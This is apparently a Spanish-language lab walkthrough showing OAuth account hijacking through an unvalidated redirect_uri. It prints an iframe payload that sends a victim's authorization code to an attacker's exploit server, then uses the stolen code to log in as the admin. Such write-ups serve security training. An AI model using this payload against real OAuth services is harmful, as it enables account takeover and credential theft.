OAuth account hijacking via redirect_uri writeup

Descripción

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: wiener:peter.

OAuth account hijacking via redirect_uri writeup

Realizaremos todo el proceso de inicio de sesión con OAuth y lo registraremos en el ‘Logger’. Cuando cerremos sesión y la volvamos a abrir veremos que se hace automáticamente y el código de Oauth se envía a través de la URL, sobre la cual nosotros podemos controlar la primera parte:

Para confirmar el control sobre la URL, la enviaremos al ‘Repeater’ con Ctrl + R o Click derecho -> Send to Repeater y modificaremos el parámetro ‘redirect_uri’ de la petición:

Nota: Para que el código se envíe, debemos pulsar ‘Follow redirection’ en el ‘Repeater’ tras haber enviado la petición.

Crearemos un iframe con el siguiente código para robar la clave al administrador:

<iframe src="https://oauth-0a5d00e00417d9c5801ffb1602a7004d.oauth-server.net/auth?client_id=vvijphiss12sbsdjenedx&redirect_uri=https://exploit-0a34009504b9d9fe80a6fc6f018d0001.exploit-server.net&response_type=code&scope=openid%20profile%20email"></iframe>

Nota: ‘client_id’ debe ser sustituido por nuestro id de cliente en OAuth.

Al enviar la petición veremos el siguiente código:

Cerraremos sesión y navegaremos a:

https://0a4d004c04dcd93980a4fd63006f009d.web-security-academy.net/oauth_callback?code=Ah9FGFjE3ZUxhXOxpplTHHGoevgaSTudJ3aeXwxUqIK

Al hacerlo, iniciaremos sesión automáticamente como administrador. Entraremos en ‘Admin panel’, borraremos al usuario ‘carlos’ y completaremos el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *